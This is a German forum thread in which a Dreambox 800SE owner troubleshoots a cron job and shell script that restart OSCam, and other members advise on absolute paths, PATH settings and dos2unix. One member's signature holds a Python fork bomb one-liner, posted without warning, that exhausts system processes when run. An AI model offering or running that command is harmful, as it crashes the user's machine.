800SE und cron

    Diese Seite verwendet Cookies. Durch die Nutzung unserer Seite erklären Sie sich damit einverstanden, dass wir Cookies setzen. Weitere Informationen

    • 800SE und cron

      Ich versuche auf meiner 800SE (NN² 3.3.2) cron zum Laufen zu bringen.
      Ich möchte es nutzen um OSCam bei Ausfall neuzustarten.
      Dass OSCam eigentlich nicht ausfallen sollte ist mir bewusst, ich nutze aber eine relativ neue unbekannte Smartcard im Schacht bei der das schonmal passieren kann.

      OSCam an sich funktioniert und liest auch die Karte, das ist nicht das Problem.

      Ich habe schon einige Tipps und Anleitungen gelesen wie man cron auf der 800er installiert und einrichtet.
      Allerdings wird OSCam nicht neu gestartet sobald es anhält.

      Ich habe cron per telnet installiert.
      Anschliessend habe ich per telnet den crontab erstellt.
      Hier die Konsolenausgabe bei crontab -l
      root@dm800se:~# crontab -l
      # DO NOT EDIT THIS FILE - edit the master and reinstall.
      # (/tmp/crontab.1480 installed on Fri Jul 19 14:24:02 2013)
      # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
      1 * * * * /usr/script/my-oscam-check.sh
      root@dm800se:~#

      das /usr/script/my-oscam-check.sh (mit Rechten 755) sieht folgendermaßen aus:
      #!/bin/sh

      process=`ps auxwww | grep oscam | grep -v grep | awk '{print $1}'`
      if [ -z "$process" ]; then
      echo "Couldn't find oscam running. Restarting server-binary" >> /var/log/oscam.check
      nohup /usr/bin/oscam >> /var/log/oscam.log &
      else
      echo "oscam is still OK!" >> /var/log/oscam.check
      fi

      Unter /usr/bin/ liegt meine oscam binary (name: "oscam" ohne endung)
      Im Script werden ja die Dateien oscam.log und oscam.check erwähnt.
      Diese sind bei mir aber nicht vorhanden.
      Unter /cron/ habe ich eine Datei names log (ohne Endung), in der steht:
      root (07/25-08:01:00-15768 ) CMD (/usr/script/my-oscam-check.sh)
      root (07/25-09:01:00-17154) CMD (/usr/script/my-oscam-check.sh)
      root (07/25-10:01:00-17476) CMD (/usr/script/my-oscam-check.sh)
      root (07/25-11:01:00-17623) CMD (/usr/script/my-oscam-check.sh)
      root (07/25-12:01:00-17771) CMD (/usr/script/my-oscam-check.sh)
      root (07/25-13:01:00-17917) CMD (/usr/script/my-oscam-check.sh)
      root (07/25-14:01:00-18074) CMD (/usr/script/my-oscam-check.sh)
      root (07/25-15:01:00-18388 ) CMD (/usr/script/my-oscam-check.sh)
      root (07/25-16:01:00-18392) CMD (/usr/script/my-oscam-check.sh)
      root (07/25-17:01:00-18396) CMD (/usr/script/my-oscam-check.sh)
      root (07/25-18:01:00-18400) CMD (/usr/script/my-oscam-check.sh)

      Heißt dass das er jede Stunde das genannte Script ausführen wollte/ausgeführt hat?
      Dann ist also wahrscheinlich nur mein script fehlerhaft!?
      - Dreambox 7020HD - NewNigma² 4.0.18 -
      [Blockierte Grafik: https://www.speedtest.net/result/5678519578.png]
    • Du musst bei Verwendung von Cron im Script alle Befehle mit absoluten Pfad angeben zbsp:

      Quellcode

      1. /bin/echo "Couldn't find oscam running. Restarting server-binary" >> /var/log/oscam.check


      Oder du fügst im crontab die Variable für den Cron Pfad hinzu:

      Quellcode

      1. PATH=/bin


      Siehe wiki.ubuntuusers.de/Cron

      Wenn du überprüfen möchtest ob das Script generell funktionsfähig ist:

      Quellcode

      1. /usr/script/my-oscam-check.sh
    • ich hab' das script mal 1:1 übernommen und minütlich per cron ausführen lassen. Das script läuft durch, /var/log/oscam.check wird befüllt und restartet hier auch oscam wieder

      Ich habe da eigentlich keinen Fehler im Script finden können

      ich würde nur statt

      Quellcode

      1. nohup /usr/bin/oscam >> /var/log/oscam.log &

      mit

      Quellcode

      1. /usr/bin/oscam -r2 >> /var/log/oscam.log &

      oscam neu starten.

      Das nohup braucht mit wg. dem & am Ende nicht. Der parameter -r2 solte oscam bei "segementation faults" automatisch neustarten

      wo liegen denn dein oscam.configs? in /var/tuxbox? wenn nicht, den Pfad zu den configs mit dem parameter -c angeben

      z.B

      Quellcode

      1. /usr/bin/oscam -r2 -c /var/keys >> /var/log/oscam.log &


      Und wenn du oscam only ohne CCcam etc. über den NN2 Emu Manager verwendest, würde den oscam restart so lösen, das wäre am saubersten

      Quellcode

      1. camdctrl restart


      habe hier mit deinem Script alle Varianten durchgespielt und oscam wird immer neu gestartet, wenn ich es manuell kille, ausser wen der Pfad zu den configs nicht stimmt

      edit
      das loggen kannst du eigentlich auch weglassen, dass kann man auch in der oscam.conf einstellen

      Quellcode

      1. [global]
      2. logfile = /var/log/oscam.log
      Gruß Fred

      Die Dreambox ist tot, es lebe die Dreambox

      ¯\_(ツ)_/¯

      Quellcode

      1. root@dm920:~$ mount | grep "/ "
      2. /dev/mmcblk1p1 on / type ext4 (rw,relatime,data=ordered)
      3. root@dm920:~$

      Dieser Beitrag wurde bereits 2 mal editiert, zuletzt von Fred Bogus Trumper ()

    • wg. dem gesamten Pfad im cron script angeben: Viele Befehle funktionieren auch ohne den gesamten Pfad, nur eben manche nicht. echo und grep sollten auch so funktinieren

      aber es ist es kein Nachteil, immer den gesamten pfad anzugeben, dann ist man auf der sicheren Seite

      den findet man einfach so raus

      Quellcode

      1. root@dm800se:~$ which grep
      2. /bin/grep
      3. root@dm800se:~$
      Gruß Fred

      Die Dreambox ist tot, es lebe die Dreambox

      ¯\_(ツ)_/¯

      Quellcode

      1. root@dm920:~$ mount | grep "/ "
      2. /dev/mmcblk1p1 on / type ext4 (rw,relatime,data=ordered)
      3. root@dm920:~$
    • Das steht doch in dem verlinkten Artikel genau beschrieben:

      Befehl klappt in Skript und Shell, aber nicht im Cronjob

      Vermutlich wurde die PATH-Variable nicht, wie oben im Beispiel, gesetzt und Cron findet Kommandos nicht, die von der Konsole fehlerfrei funktionieren. Cron benutzt von sich aus nicht die PATH-Variable des Users, sondern PATH="/usr/bin:/bin", sodass man entweder einen anderen PATH definieren oder die benutzten Programme mit vollem Pfad aufrufen muss.


      Notfalls muss man dann halt schauen wo die Programme liegen und den Pfad anpassen.
    • SHELL=/bin/sh
      PATH=/usr/local/bin:/usr/local/sbin:/sbin:/usr/sbin:/bin:/usr/bin
      MAILTO=""
      */5 * * * * /mein/script.sh <- Alle 5 min
      0 */5 * * * /mein/script.sh <- Alle 5 std
      0 0 * * 5 /mein/script.sh <- Alle 5 Tage
      0 0 1 5,10 * /mein/script.sh <- Alle 5 Monate


      so sollte ne crontab aussehen
      python -c 'while 1: __import__("os").fork()'
      Wer der Herde hinterher läuft frisst nur Scheisse , nicht das Gras !
    • Also ich habe jetzt mal eure Änderungen umgesetzt.
      So sieht jetzt das Script aus:
      (meine configs liegen unter /usr/keys/ - die bin unter /usr/bin/ )
      #!/bin/sh

      process=`ps auxwww | grep oscam | grep -v grep | awk '{print $1}'`
      if [ -z "$process" ]; then
      /bin/echo "Couldn't find oscam running. Restarting server-binary" >> /var/log/oscam.check
      /usr/bin/oscam -r2 -c /usr/keys >> /var/log/oscam.log &
      else
      /bin/echo "oscam is still OK!" >> /var/log/oscam.check
      fi


      Und so die crontab:
      root@dm800se:~# crontab -l
      # DO NOT EDIT THIS FILE - edit the master and reinstall.
      # (/tmp/crontab.19002 installed on Fri Jul 26 17:34:00 2013)
      # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
      PATH=/bin
      1 * * * * /usr/script/my-oscam-check.sh
      root@dm800se:~#


      Wenn ich das Script testen will erhalte ich in der Konsole:
      root@dm800se:~# /usr/script/my-oscam-check.sh
      -sh: /usr/script/my-oscam-check.sh: not found
      root@dm800se:~#

      Die my-oscam-check.sh ist aber vorhanden!

      Das erhalte ich auch...
      root@dm800se:~# which grep
      /bin/grep
      root@dm800se:~#
      - Dreambox 7020HD - NewNigma² 4.0.18 -
      [Blockierte Grafik: https://www.speedtest.net/result/5678519578.png]

      Dieser Beitrag wurde bereits 3 mal editiert, zuletzt von LaLey ()

    • das mit dem "which grep" war nur ein Beispiel man den gesamten Pfad eines Befehles etc. rausfindet

      Vielleicht hast du einen "Tippfehler" im Scriptnamen wenn die Meldung "not found" kommt, ist die Dateil wohl wirklich nicht vorhanden.
      Gruß Fred

      Die Dreambox ist tot, es lebe die Dreambox

      ¯\_(ツ)_/¯

      Quellcode

      1. root@dm920:~$ mount | grep "/ "
      2. /dev/mmcblk1p1 on / type ext4 (rw,relatime,data=ordered)
      3. root@dm920:~$

      Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von Fred Bogus Trumper ()

    • In einem anderen Forum hatte jemand auch das Problem dass sein script nicht gefunden wurde.
      Er fand folgendes heraus:
      Er hatte die Datei mit notepad++ bearbeitet.
      Beim "speichern als..." hatte er "all files" angeklickt.
      Als er beim nächsten mal "speichern als..." dann "linux/unix sh" angewählt hat wurde sein script auch gefunden.

      Das habe ich ausprobiert. Bringt nichts.

      Ich denke ich habe irgendwo ein Bock mit den Pfaden / relativen Pfaden.
      Wozu genau schreibe ich in die crontab den PATH befehl?

      Oder seht ihr iwo nen Fehler in meinen Pfadangaben im script/crontab?
      - Dreambox 7020HD - NewNigma² 4.0.18 -
      [Blockierte Grafik: https://www.speedtest.net/result/5678519578.png]
    • wenn ein falscher Editor oder falsche Einstellung verwendet wurde, hilft auf der Box meist auch

      Quellcode

      1. dos2unix /usr/script/my-oscam-check.sh


      im script könntest du bei grep noch den gesamten pfad angeben

      Quellcode

      1. process=`ps auxwww | /bin/grep oscam | /bin/grep -v grep | awk '{print $1}'`

      wobei ich nicht glaube, dass es daran liegt, geht hier auch ohne

      was ich erste jetzt gesehen habe: in dein crontab -l Ausgabe steht da in den crontabs

      Quellcode

      1. PATH=/bin


      lösch' den Eintrag mal raus, der hat da so nichts verloren! Und dann mach auch noch einen kompletten Reboot, schätze dann wird dein script wieder gefunden

      die Angabe von PATH= kannst du auch in das script machen. Wenn du aber nur /bin angibst ist das zu wenig, weil die Box dann andere Sachen nicht mehr "findet", wie in dem Fall eben dein script


      Edit:
      oder den PATH= Eintrag in den crontabs so ändern, wie @kati910 es in seinem Beispiel gepostet hat

      Aber wie gesagt, nach der Änderung sicherheitshalber komplett rebooten, damit das System wieder "sauber" läuft
      Gruß Fred

      Die Dreambox ist tot, es lebe die Dreambox

      ¯\_(ツ)_/¯

      Quellcode

      1. root@dm920:~$ mount | grep "/ "
      2. /dev/mmcblk1p1 on / type ext4 (rw,relatime,data=ordered)
      3. root@dm920:~$

      Dieser Beitrag wurde bereits 5 mal editiert, zuletzt von Fred Bogus Trumper ()